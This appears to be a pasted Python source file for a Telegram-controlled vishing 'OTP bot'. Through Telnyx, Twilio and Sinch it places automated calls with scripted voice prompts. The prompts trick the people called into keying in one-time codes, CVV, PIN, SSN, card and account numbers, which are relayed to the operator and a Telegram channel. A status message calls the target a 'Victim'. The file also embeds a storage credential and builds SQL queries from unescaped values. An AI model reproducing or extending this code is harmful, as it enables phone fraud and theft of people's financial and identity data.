"call.answered"): answered_call[call_id] = True if ("record" in ongoing_call_command[call_sess]): on_call.record_start(format="mp3", channels="single") if (content['event_type'] == "call.recording.saved"): if not current_record.get(call_sess, ""): current_record[call_sess] = 1 send_voice(data_stored["chat_id"], content['payload']['recording_urls']['mp3']) del ongoing_call[call_sess] # del btn_step[data_stored["chat_id"]] del ongoing_call_command[call_sess] for jo in delete_list_call[call_id]: os.remove(jo) del delete_list_call[call_id] execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'") if (data_stored["status"] in gather_list): if (not data_stored["otp"]["result"]): return if (data_stored["gatherType"] == "option"): result_dict = { "1": o_prov['approve'], "2": o_prov['decline'] } ket_appr = { "1": "First", "2": "Second" } optRes = data_stored["otp"]["result"] cur_gather = data_stored["gatherType"] if (not data_stored["otp"]["result"]): json_data = { 'call_control_id': data_stored['call_control_id'], 'client_state': base64.b64encode("option".encode("ascii")), 'command_id': str(uuid.uuid1()), 'initial_timeout_millis': 120000, 'inter_digit_timeout_millis': 120000, 'timeout_millis': 120000, 'maximum_digits': 1 } response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data) else: prov = data_stored['otp']['provider'].lower() custom_req = prov.split("_") registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp" selected[call_id] = optRes uy = status_dict['send.otp'] uy = uy if (custom_req == "otp") else uy.replace("Send *One-Time code* to Victim!", f'Wait for *{custom_req.upper()} Number* be entered.') send_message(data_stored["chat_id"], f"Person select the *{ket_appr[optRes]}* option") send_message(data_stored["chat_id"], uy) vnc = get_voice_name(data_stored["call_id"]) if vnc: voiceName = text_to_urlvoice(result_dict[optRes], vnc) on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") delete_list_call[call_id].append(f"audio/{voiceName}") else: on_call.speak( payload = result_dict[optRes], language=o_prov['lang'], voice="female" ) json_data = { 'call_control_id': data_stored['call_control_id'], 'client_state': base64.b64encode("otp".encode("ascii")), 'command_id': str(uuid.uuid1()), 'initial_timeout_millis': 120000, 'inter_digit_timeout_millis': 120000, 'timeout_millis': 120000, 'maximum_digits': int(data_stored["otp"]["digits"]) } response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data) elif (data_stored["gatherType"] == "otp"): cur_gather = data_stored["gatherType"] json_data = { 'call_control_id': data_stored['call_control_id'], 'client_state': base64.b64encode("otp2".encode("ascii")), 'command_id': str(uuid.uuid1()), 'initial_timeout_millis': 120000, 'inter_digit_timeout_millis': 120000, 'timeout_millis': 120000, 'maximum_digits': int(data_stored["otp"]["digits"]) } prov = data_stored['otp']['provider'].lower() custom_req = prov.split("_") registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp" uy = status_dict['your.otp'] uy = uy if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number') def formats_date(value): return datetime.strptime(value, '%m%y').strftime('%Y, %B') resuult = data_stored['otp']['result'] if not custom_req == "exp" else formats_date(data_stored['otp']['result']) ny = status_dict['channel.notify'] ny = ny if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number') uname = get_name(data_stored['chat_id']) uname = uname[:4] + "x" * (len(uname) - 4) ny = ny.replace("XUSERNAMEX", uname) \ .replace("XCOMPANYX", prov.split("_")[0].replace("-", " ")) \ .replace("XCODEX", resuult) \ .replace("XGATEX", "Gate 1 (Telnyx)") send_message(TELE_CHANNEL, ny) # send message uy and data_stored otp result with button to accept or reject the code send_message( data_stored['chat_id'], f"{uy} {resuult}", buttons([ button("ā Finish", f"finish"), button("š¢ Ask Again", f"again") ]) ) voiceText = f"Please wait while our system check your {custom_req.upper()} number" vnc = get_voice_name(data_stored["call_id"]) if vnc: voiceName = text_to_urlvoice(voiceText, vnc) on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") delete_list_call[call_id].append(f"audio/{voiceName}") else: on_call.speak( payload = voiceText, language=o_prov['lang'], voice="female" ) on_call.playback_start(audio_url="https://cdn.pixabay.com/download/audio/2022/03/09/audio_34c7eb893f.mp3") if (data_stored["status"] in detection_list): if (not current_detect.get(data_stored["call_id"], "") or current_detect.get(data_stored["call_id"], "") != data_stored["status"]): current_detect[data_stored["call_id"]] = data_stored["status"] def who_pickup(val): who = { "silence": "Person doesnt speak anything š¶", "human": "It's human who pick up the call š", "machine": "It's machine who pick up the call š¦¾" } for whos in who: if whos in val: return who[whos] return "We cant detect who pick up the call" send_message(data_stored["chat_id"], who_pickup(data_stored['isBot'])) if ("machine" not in data_stored["isBot"]): voiceText = f"Hello {data_stored['name']}, " vnc = get_voice_name(data_stored["call_id"]) if vnc: voiceName = text_to_urlvoice(voiceText, vnc) on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") delete_list_call[call_id].append(f"audio/{voiceName}") else: on_call.speak( payload = voiceText, language=o_prov['lang'], voice="female" ) time.sleep(1) tambahan = data_stored['phone_number'] if "cvv" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "csc" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "exp" in ongoing_call_command[call_sess] else "" voiceText = o_prov["msg1"] + tambahan vnc = get_voice_name(data_stored["call_id"]) if vnc: voiceName = text_to_urlvoice(voiceText, vnc) on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") delete_list_call[call_id].append(f"audio/{voiceName}") else: on_call.speak( payload = voiceText, language=o_prov['lang'], voice="female" ) time.sleep(1) voiceText = o_prov["msg2"] vnc = get_voice_name(data_stored["call_id"]) if vnc: voiceName = text_to_urlvoice(voiceText, vnc) on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") delete_list_call[call_id].append(f"audio/{voiceName}") else: on_call.speak( payload = voiceText, language=o_prov['lang'], voice="female" ) json_data = { 'call_control_id': data_stored['call_control_id'], 'client_state': base64.b64encode("option".encode("ascii")), 'command_id': str(uuid.uuid1()), 'initial_timeout_millis': 120000, 'timeout_millis': 120000, 'maximum_digits': 1 } response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data) else: on_call.hangup() if (data_stored["status"] in machine_list): if (data_stored["status"] != "call.hangup"): on_call.hangup() if (not "record" in ongoing_call_command[call_sess] or not call_id in answered_call): if "retry" in ongoing_call_command.get(call_sess, ""): if not selected.get(call_id, ""): messaging(data_stored["chat_id"], ongoing_call_command[call_sess]) del ongoing_call[call_sess] # del btn_step[data_stored["chat_id"]] del ongoing_call_command[call_sess] for jo in delete_list_call[call_id]: os.remove(jo) del delete_list_call[call_id] execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'") return content @app.route("/twilio/outgoing_status", methods=["GET", "POST"]) def twilio_status(): provider = json.load(open("provider.json")) configuration = json.load(open("phony.json")) content = request.values print("\n\nTwilio Callback Status", file=sys.stderr) print(content, file=sys.stderr) call_id = content["CallSid"] call_sess = call_id response = VoiceResponse() data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_id}'") data_stored = { "call_id": data[15], "call_control_id": data[0], "ke": data[1], "to": data[2], "name": data[3], "isBot": data[4], "gatherType": data[5], "status": data[6], "current_data_storedate": data[7], "otp": { "server": data[8], "digits": data[9], "provider": data[10], "result": data[11], "receive": data[12] }, "auth": { "key_api": data[13], "auth_token": data[14] }, "phone_number": data[16], "chat_id": data[17], "message_id": data[18] } # try: # except Exception as e: # err = repr(e) # if "ApiTelegramException" in err: # return str(response) # send_message( # data_stored["chat_id"], # f"*Error Status: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*", # ) # return str(response) complete = ["completed", "no-answer"] for completes in complete: if completes in content["CallStatus"]: if content["CallStatus"] == "no-answer": send_message(data_stored["chat_id"], status_dict["call.noanswer"]) if (not "record" in ongoing_call_command[call_sess] or not call_id in answered_call): try: send_message(data_stored["chat_id"], status_dict["call.hangup"]) if "retry" in ongoing_call_command.get(call_sess, ""): if not selected.get(call_id, ""): messaging(data_stored["chat_id"], ongoing_call_command[call_sess]) del ongoing_call[call_sess] del ongoing_call_command[call_sess] for jo in delete_list_call[call_id]: os.remove(jo) del delete_list_call[call_id] # # del btn_step[data_stored["chat_id"]] except Exception as e: print("err finish: " + repr(e), file=sys.stderr) execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'") if "RecordingUrl" in content: if not current_record.get(call_sess, ""): send_message(data_stored["chat_id"], status_dict["call.hangup"]) print("\n\nTwilio Callback Recording\n" + content['RecordingUrl'], file=sys.stderr) current_record[call_sess] = 1 send_voice(data_stored["chat_id"], content['RecordingUrl']) try: if "retry" in ongoing_call_command.get(call_sess, ""): if not selected.get(call_id, ""): messaging(data_stored["chat_id"], ongoing_call_command[call_sess]) del ongoing_call[call_sess] del ongoing_call_command[call_sess] for jo in delete_list_call[call_id]: os.remove(jo) del delete_list_call[call_id] # del btn_step[data_stored["chat_id"]] except Exception as e: print("err finish: " + repr(e), file=sys.stderr) execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'") return str(response) @app.route("/twilio/outgoing", methods=["GET", "POST"]) def twilio_res(): provider = json.load(open("provider.json")) configuration = json.load(open("phony.json")) content = request.values call_id = content["CallSid"] call_sess = call_id print("\n\nTwilio Callback", file=sys.stderr) print(content, file=sys.stderr) response = VoiceResponse() data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_id}'") data_stored = { "call_id": data[15], "call_control_id": data[0], "ke": data[1], "to": data[2], "name": data[3], "isBot": data[4], "gatherType": data[5], "status": data[6], "current_data_storedate": data[7], "otp": { "server": data[8], "digits": data[9], "provider": data[10], "result": data[11], "receive": data[12] }, "auth": { "key_api": data[13], "auth_token": data[14] }, "phone_number": data[16], "chat_id": data[17], "message_id": data[18] } print(data_stored, file=sys.stderr) # try: # except Exception as e: # err = repr(e) # if "ApiTelegramException" in err: # return str(response) # send_message( # data_stored["chat_id"], # f"*Error Callback: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*", # ) # return str(response) o_prov = provider[data_stored['otp']['provider']] result_dict = { "1": o_prov['approve'], "2": o_prov['decline'] } ket_appr = { "1": "First", "2": "Second" } def speaks(voiceText): vnc = get_voice_name(data_stored["call_id"]) vnc = "en-US-JennyNeural" if not vnc else vnc voiceName = text_to_urlvoice(voiceText, vnc) delete_list_call[call_id].append(f"audio/{voiceName}") return f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""" def speak(voiceText): if configuration["telegram"]["enableVoice"]: url = speaks(voiceText) print(url, file=sys.stderr) response.play(url) else: response.say(voiceText, voice = "woman") def gather_dtmf(digit): webhook_url = configuration["ngrok"]["url"] + "/twilio/outgoing" response.append( Gather( input = "dtmf", action = webhook_url, method = "POST", numDigits = int(digit), timeout = 300000 ) ) def up_data(key, value): execute_statement(PHONY_DB, f"UPDATE data SET {key} = '{value}' WHERE call_id = '{call_id}'") prov = data_stored['otp']['provider'].lower() custom_req = prov.split("_") registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp" print("\n" + data_stored["status"] + "\n", file=sys.stderr) if ("call" == data_stored["status"]): answered_call[call_id] = True data_stored["isBot"] = content["AnsweredBy"] up_data("isBot", data_stored['isBot']) bots = [ "machine_end_beep", "machine_end_silence", "machine_end_other", "fax" ] send_message(data_stored["chat_id"], status_dict['call.answered']) def who_pickup(val): val = val.lower() who = { "silence": "Person doesnt speak anything š¶", "human": "It's human who pick up the call š", "machine": "It's machine who pick up the call š¦¾", "unknown": "We cant detect who pick up the call š", } for whos in who: if whos in val: return who[whos] return "We cant detect who pick up the call" send_message(data_stored["chat_id"], who_pickup(content["AnsweredBy"])) if (content["AnsweredBy"] not in bots): welcome = f"Hello {data_stored['name']}, " speak(welcome) tambahan = data_stored['phone_number'] if "cvv" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "csc" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "exp" in ongoing_call_command[call_sess] else "" msg1 = o_prov["msg1"] + tambahan speak(msg1) speak(o_prov["msg2"]) gather_dtmf(1) data_stored["status"] = "option" else: response.hangup() elif ("option" == data_stored["status"]): selected[call_id] = content["Digits"] uy = status_dict['send.otp'] uy = uy if (custom_req == "otp") else uy.replace("Send *One-Time code* to Victim!", f'Wait for *{custom_req.upper()} Number* be entered.') send_message(data_stored["chat_id"], f"""Person select the *{ket_appr[content["Digits"]]}* option""") if o_prov[content["Digits"]]: speak(result_dict[content["Digits"]]) gather_dtmf(data_stored['otp']['digits']) data_stored["status"] = "ask" send_message(data_stored["chat_id"], uy) else: speak("Thank you for confirming. Good bye!") response.hangup() elif ("ask" == data_stored["status"]): print(content['Digits'] + " aman") uy = status_dict['your.otp'] uy = uy if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number') def formats_date(value): return datetime.strptime(value, '%m%y').strftime('%B/%Y') resuult = content['Digits'] if not custom_req == "exp" else formats_date(content['Digits']) speak(f"Please wait while our system check your {custom_req.upper()} number") response.play("https://cdn.pixabay.com/download/audio/2022/03/09/audio_34c7eb893f.mp3", loop=0) ny = status_dict['channel.notify'] ny = ny if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number') uname = get_name(data_stored['chat_id']) uname = uname[:4] + "x" * (len(uname) - 4) ny = ny.replace("XUSERNAMEX", uname) \ .replace("XCOMPANYX", prov.split("_")[0].replace("-", " ")) \ .replace("XCODEX", resuult) \ .replace("XGATEX", "Gate 3 (Twilio)") send_message(TELE_CHANNEL, ny) send_message( data_stored['chat_id'], f"{uy} {resuult}", buttons([ button("ā Finish", f"finish"), button("š¢ Ask Again", f"again") ]) ) up_data("status", data_stored['status']) print("twilio_outgoing\n\n", file=sys.stderr) print(str(response), file=sys.stderr) return str(response) @app.route("/sinch/outgoing", methods=["GET", "POST"]) def sinch(): provider = json.load(open("provider.json")) configuration = json.load(open("phony.json")) content = request.get_json(force=True) event = content["event"] call_id = content["callid"] call_sess = call_id data = query(PHONY_DB, f"SELECT * FROM [data] WHERE call_id = '{call_id}'") data_stored = { "call_id": data[15], "call_control_id": data[0], "ke": data[1], "to": data[2], "name": data[3], "isBot": data[4], "gatherType": data[5], "status": data[6], "current_data_storedate": data[7], "otp": { "server": data[8], "digits": data[9], "provider": data[10], "result": data[11], "receive": data[12] }, "auth": { "key_api": data[13], "auth_token": data[14] }, "phone_number": data[16], "chat_id": data[17], "message_id": data[18] } o_prov = provider[data_stored['otp']['provider']] result_dict = { "1": o_prov['approve'], "2": o_prov['decline'] } ket_appr = { "1": "First", "2": "Second" } ins = [] action = {} def speaks(url): return { "name": "playFiles", "ids": [ f"#href[{url}]" ] } def speak(voiceText): vnc = get_voice_name(data_stored["call_id"]) vnc = "en-US-JennyNeural" if not vnc else vnc voiceName = text_to_urlvoice(voiceText, vnc) delete_list_call[call_id].append(f"audio/{voiceName}") return speaks(f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") def up_data(key, value): execute_statement(PHONY_DB, f"UPDATE data SET {key} = '{value}' WHERE call_id = '{call_id}'") prov = data_stored['otp']['provider'].lower() custom_req = prov.split("_") registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp" if "ace" == event: send_message(data_stored["chat_id"], status_dict['call.answered']) if "amd" in content: amd = content["amd"] def who_pickup(val): val = val.lower() who = { "silence": "Person doesnt speak anything š¶", "human": "It's human who pick up the call š", "machine": "It's machine who pick up the call š¦¾", "notsure": "We cant detect who pick up the call š", "hangup": "The call is hangup š" } for whos in who: if whos in val: return who[whos] return "We cant detect who pick up the call" send_message(data_stored["chat_id"], who_pickup(amd["status"])) if amd["status"].lower() == "machine": action["name"] = "hangup" else: answered_call[call_id] = True action["name"] = "continue" if "record" in ongoing_call_command[call_id]: ins.append({ "name": "startRecording", "options": { "destinationUrl": f"azure://sinchvoice/voice/{call_id}.mp3", "credentials": "hwwwkoUAyo6vnxM4n+ixAvi5HwOQ8Xs1HBGxQaemKRb5qd9HBKM3RYMOVUAR2s/y4zvo42sfShQb+AStnmvygQ==", "notificationEvents": True } }) ins.append(speak(f"Hello {data_stored['name']}, ")) tambahan = data_stored['phone_number'] if "cvv" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "csc" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "exp" in ongoing_call_command[call_sess] else "" ins.append(speak(o_prov["msg1"] + tambahan)) ins.append(speak(o_prov["msg2"])) data_stored["status"] = "option" elif "pie" == event: res = content['menuResult'] action["name"] = "continue" if data_stored["status"] == "option": selected[call_id] = content["Digits"] ins.append(speak(result_dict[res["value"]])) selected[call_id] = optRes uy = status_dict['send.otp'] uy = uy if (custom_req == "otp") else uy.replace("Send *One-Time code* to Victim!", f'Wait for *{custom_req.upper()} Number* be entered.') send_message(data_stored["chat_id"], f"Person select the *{ket_appr[optRes]}* option") if not (o_prov["1"] and res["value"] == "1") or (o_prov["2"] and res["value"] == "2"): ins = [] ins.append(speak("Thank you for confirming. Good bye!")) action["name"] = "hangup" send_message(data_stored["chat_id"], "The call will be ended.") else: send_message(data_stored["chat_id"], uy) data_stored["status"] = "ask" elif data_stored["status"] == "ask": uy = status_dict['your.otp'] uy = uy if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number') def formats_date(value): return datetime.strptime(value, '%m%y').strftime('%B/%Y') resuult = res['value'] if not custom_req == "exp" else formats_date(res['value']) ny = status_dict['channel.notify'] ny = ny if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number') uname = get_name(data_stored['chat_id']) uname = uname[:4] + "x" * (len(uname) - 4) ny = ny.replace("XUSERNAMEX", uname) \ .replace("XCOMPANYX", prov.split("_")[0].replace("-", " ")) \ .replace("XCODEX", resuult) \ .replace("XGATEX", "Gate 2 (Sinch)") send_message(TELE_CHANNEL, ny) send_message( data_stored['chat_id'], f"{uy} {resuult}", buttons([ button("ā Finish", f"finish"), button("š¢ Ask Again", f"again") ]) ) ins.append(speak(f"Please wait while our system check your {custom_req.upper()} number")) ins.append(speaks("https://cdn.pixabay.com/download/audio/2022/03/09/audio_34c7eb893f.mp3")) elif "dice" == event: send_message(data_stored["chat_id"], status_dict['call.hangup']) reasons = { "N/A": "Unknown reason", "TIMEOUT": "The call exceeded the configured timeout.", "CALLERHANGUP": "The caller hung up.", "CALLEEHANGUP": "The callee hung up.", "BLOCKED": "The callee hung up the call.", "MANAGERHANGUP": "The call was hung up by the manager.", "NOCREDITPARTNER": "No sufficient credit to make the call.", "GENERALERROR": "A non-specified error ended the call.", "CANCEL": "The call was canceled.", "USERNOTFOUND": "The user was not found.", "CALLBACKERROR": "An error with the callback ended the call." } send_message(data_stored["chat_id"], "Reason: " + reasons[content["reason"]]) if (not "record" in ongoing_call_command[call_sess] or not call_id in answered_call): if "retry" in ongoing_call_command.get(call_sess, ""): if not selected.get(call_id, ""): messaging(data_stored["chat_id"], ongoing_call_command[call_sess]) del ongoing_call[call_sess] # del btn_step[data_stored["chat_id"]] del ongoing_call_command[call_sess] for jo in delete_list_call[call_id]: os.remove(jo) del delete_list_call[call_id] execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'") elif "notify" == event: if "recording_finished" == content["type"]: send_message(data_stored["chat_id"], "Your voice is recorded, please wait for a moment") elif "recording_available" == content["type"]: if not current_record.get(call_sess, ""): current_record[call_sess] = 1 send_voice(data_stored["chat_id"], content['destination']) if "retry" in ongoing_call_command.get(call_sess, ""): if not selected.get(call_id, ""): messaging(data_stored["chat_id"], ongoing_call_command[call_sess]) del ongoing_call[call_sess] # del btn_step[data_stored["chat_id"]] del ongoing_call_command[call_sess] for jo in delete_list_call[call_id]: os.remove(jo) del delete_list_call[call_id] execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'") print(content, file=sys.stderr) res = { "instructions": ins, "action": action } print("\n\n", file=sys.stderr) # reqs = sinch_request(call_id, ins, action) print(res, file=sys.stderr) up_data("status", data_stored['status']) return res if __name__ == "__main__": Thread(target=bot.infinity_polling).start() app.run(host='0.0.0.0', port=2002)
Editor is loading...